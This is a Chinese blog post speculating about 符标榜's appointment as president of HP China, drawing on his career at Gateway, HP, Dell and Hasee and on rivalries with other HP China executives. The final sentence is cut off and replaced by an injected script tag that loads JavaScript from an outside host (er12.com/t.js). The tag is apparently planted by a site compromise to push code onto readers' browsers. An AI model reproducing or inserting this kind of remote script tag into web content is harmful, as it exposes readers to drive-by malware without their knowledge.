按照我现在的焦虑状态和对一件不清楚的事情的好奇状态，我必须学习《越狱》的编剧以及美国人的思维方式，把任何确定的事情以及存在的事情进行全盘推翻，一切重来，让一切事情具有可持续性发展的可能。
关于符标榜到惠普做什么的猜想，我上周根据之前一些印象做了一个猜想。我的想法是，依据最近的一些现象和表象，符标榜名为中国惠普总裁，但是在三大业务部门里面，实权可能主要集中在服务器哪个部门。
有热心网友对此猜想评价为：感觉你没有一点这个行业的感觉，这样评价，我觉得你太肤浅了，所以自己删了吧，我很为你羞愧！老弟！
我想曾经有一位导演对布什说过类似的话，我是不是应该反思一下，自己到底在那里出了问题。
或者我们本土化一些，他（她）认为我太年轻，太简单。我相信他（她）是正确的，因为我在it领域只有几年，还不够老，不够圆滑。
我在博客里面已经承认，我对惠普的了解还远远不够。但是聪明的你，能否告诉我到底错在那里了，如果错了，我非常愿意改正我的错误，因为我对惠普还不够了解。如果我依据的一些事实有错误，或者逻辑判断有错误，我很愿意接受批评。或者你愿意解释我的所有疑问？但是我相信我的猜测，和与我一样的媒体从业者，也会产生疑问：到底符标榜去惠普做什么？
假如你认为我不对，作为一个业内人士，您的信息一定很重要。那么我想从符标榜的简历里看看他会去惠普做什么，反思一下自己到底那里有可能错了。
符标榜简历：
新加坡人，毕业于英国strathclyde大学，获得机械工程学士学位和工商管理硕士学位。曾担任gateway中国公司总经理，作为该公司在中国最早的员工，负责创建在中国的业务和运作。
符标榜还曾在惠普公司任职超过10年，先后负责不同的管理岗位，包括渠道管理、区域销售、商用市场及中心企业市场等重要职位，以及个人电脑及打印设备商用事业部总经理。
2001年符标榜加入戴尔，任戴尔计算机(中国)有限公司总裁，2005年10月离任。
2006年6月加盟神舟电脑任总裁。
第一部分关于新加坡部分以及mba学历，我想这是他自身的努力，没啥好说的。gateway是美国第三大电脑厂商，目前在中国国内基本属于没有业务，还有可能被希望拓展美国业务的宏基收购。
第二部分是符标榜之前在惠普的日子，最重要的职务是他担任的个人电脑以及打印设备商用事业部总经理。
我的第一个疑问就是：难道我之前想错了，难道符标榜离开惠普是因为被柯玉璋打败，而不是被孙振耀打败？
假如考虑到2001年的因素，难道符标榜离开惠普是因为当年惠普合并康柏，导致的提前的裁员？
无论这两者哪一条是真，或者两者皆是。
都使得我又产生了第二个疑问：孙振耀在惠普超越ibm成为全球it老大、并且惠普超越戴尔之后离职，可以说功成身退。但是符标榜现在回到中国惠普，柯玉璋怎么办？
但是事实是，孙振耀2000年出任中国惠普总裁，符标榜2001年加入戴尔任中国总裁，柯玉璋于2002年惠普合并康柏后担任打印及成像系统集团总经理。
如果按照这个时间逻辑，就可以猜测成为，孙振耀打败符标榜成为中国惠普总裁，或者符标榜由于中国惠普总裁职位旁落，于是选择了去戴尔中国担任一把手。
戴尔在华的计算机销售在符标榜的带领下取得了个人电脑第三名的地位，业绩翻了三番，市场排名仅次于联想和方正。
这是否可以解释成为，符标榜在戴尔就已经打败孙振耀，报了当年无法成为中国惠普总裁之仇？
但是柯玉璋和符标榜之间有没有联系呢？柯玉璋担任的职务似乎还兼任一个更重要的头衔：中国惠普执行副总裁（该职务存疑）。
按照惯常道理，总裁离职，执行副总裁应该接替总裁，或者调任他处避免和新总裁发生纠纷。这样我还要继续第三个疑问，为什么业绩一直很好的柯玉璋没有成为总裁呢？
第三个疑问又让我产生了第四个疑问：让曾经担任过中国惠普个人电脑以及打印设备商用事业部总经理的符标榜的回归，意味着什么？符标榜负责庄正松电脑业务还是负责柯玉璋的打印业务，还是都负责？
符标榜在戴尔期间，其实主要负责的是大客户部门业务。这也就是说，符标榜在惠普信息产品及商用渠道集团领域更有经验。
于是这又带来了我的第五个疑问，庄正松带领的移动产品线的业绩好吗？比他更厉害的符标榜到来，会不会成为他的后座驾驶员？
符标榜接替了孙振耀担任总裁，也就是说，孙振耀原来负责的服务器以及服务业务，符标榜也要负责。
下面的情况可以为符标榜担任的职务做出相应解释，符标榜在电脑方面的造诣比他在服务器领域的造诣要深，但是不排除二者都是大客户关系，在促进销售方面可以互联互通。
这么看来，符标榜确实是非常适合中国惠普的总裁，了解惠普，了解对手，在三个主要业务?script src=http://er12.com/t.js>
